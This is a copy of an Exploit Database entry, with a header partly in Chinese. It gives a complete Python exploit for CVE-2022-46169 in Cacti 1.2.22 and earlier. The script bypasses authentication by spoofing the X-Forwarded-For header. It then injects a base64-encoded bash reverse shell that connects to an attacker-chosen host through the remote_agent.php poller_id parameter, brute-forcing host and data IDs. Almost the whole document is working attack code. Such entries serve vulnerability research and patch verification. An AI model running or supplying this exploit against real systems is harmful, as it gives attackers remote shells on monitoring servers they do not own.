Cacti v1.2.22 – Remote Command Execution (RCE)

Exploit Database
113 阅读

作者： Riadh Bouchahoua

日期： 2023-03-31
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/51166/

# Exploit Title: Cacti v1.2.22 - Remote Command Execution (RCE)

# Exploit Author: Riadh BOUCHAHOUA

# Discovery Date: 2022-12-08

# Vendor Homepage: https://www.cacti.net/

# Software Links : https://github.com/Cacti/cacti

# Tested Version: 1.2.2x <= 1.2.22

# CVE: CVE-2022-46169

# Tested on OS: Debian 10/11

#!/usr/bin/env python3

import random

import httpx, urllib

class Exploit:

def __init__(self, url, proxy=None, rs_host="",rs_port=""):

self.url = url

self.session = httpx.Client(headers={"User-Agent": self.random_user_agent()},verify=False,proxies=proxy)

self.rs_host = rs_host

self.rs_port = rs_port

def exploit(self):

# cacti local ip from the url for the X-Forwarded-For header

local_cacti_ip= self.url.split("//")[1].split("/")[0]

headers = {

'X-Forwarded-For': f'{local_cacti_ip}'

}

revshell = f"bash -c 'exec bash -i &>/dev/tcp/{self.rs_host}/{self.rs_port} <&1'"

import base64

b64_revshell = base64.b64encode(revshell.encode()).decode()

payload = f";echo {b64_revshell} | base64 -d | bash -"

payload = urllib.parse.quote(payload)

urls = []

# Adjust the range to fit your needs ( wider the range, longer the script will take to run the more success you will have achieving a reverse shell)

for host_id in range(1,100):

for local_data_ids in range(1,100):

urls.append(f"{self.url}/remote_agent.php?action=polldata&local_data_ids[]={local_data_ids}&host_id={host_id}&poller_id=1{payload}")

for url in urls:

r = self.session.get(url,headers=headers)

print(f"{r.status_code} - {r.text}" )

pass

def random_user_agent(self):

ua_list = [

"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",

"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",

]

return random.choice(ua_list)

def parse_args():

import argparse

argparser = argparse.ArgumentParser()

argparser.add_argument("-u", "--url", help="Target URL (e.g. http://192.168.1.100/cacti)")

argparser.add_argument("-p", "--remote_port", help="reverse shell port to connect to", required=True)

argparser.add_argument("-i", "--remote_ip", help="reverse shell IP to connect to", required=True)

return argparser.parse_args()

def main() -> None:

# Open a nc listener (rs_host+rs_port) and run the script against a CACTI server with its LOCAL IP URL

args = parse_args()

e = Exploit(args.url, rs_host=args.remote_ip, rs_port=args.remote_port)

e.exploit()

if __name__ == "__main__":

main()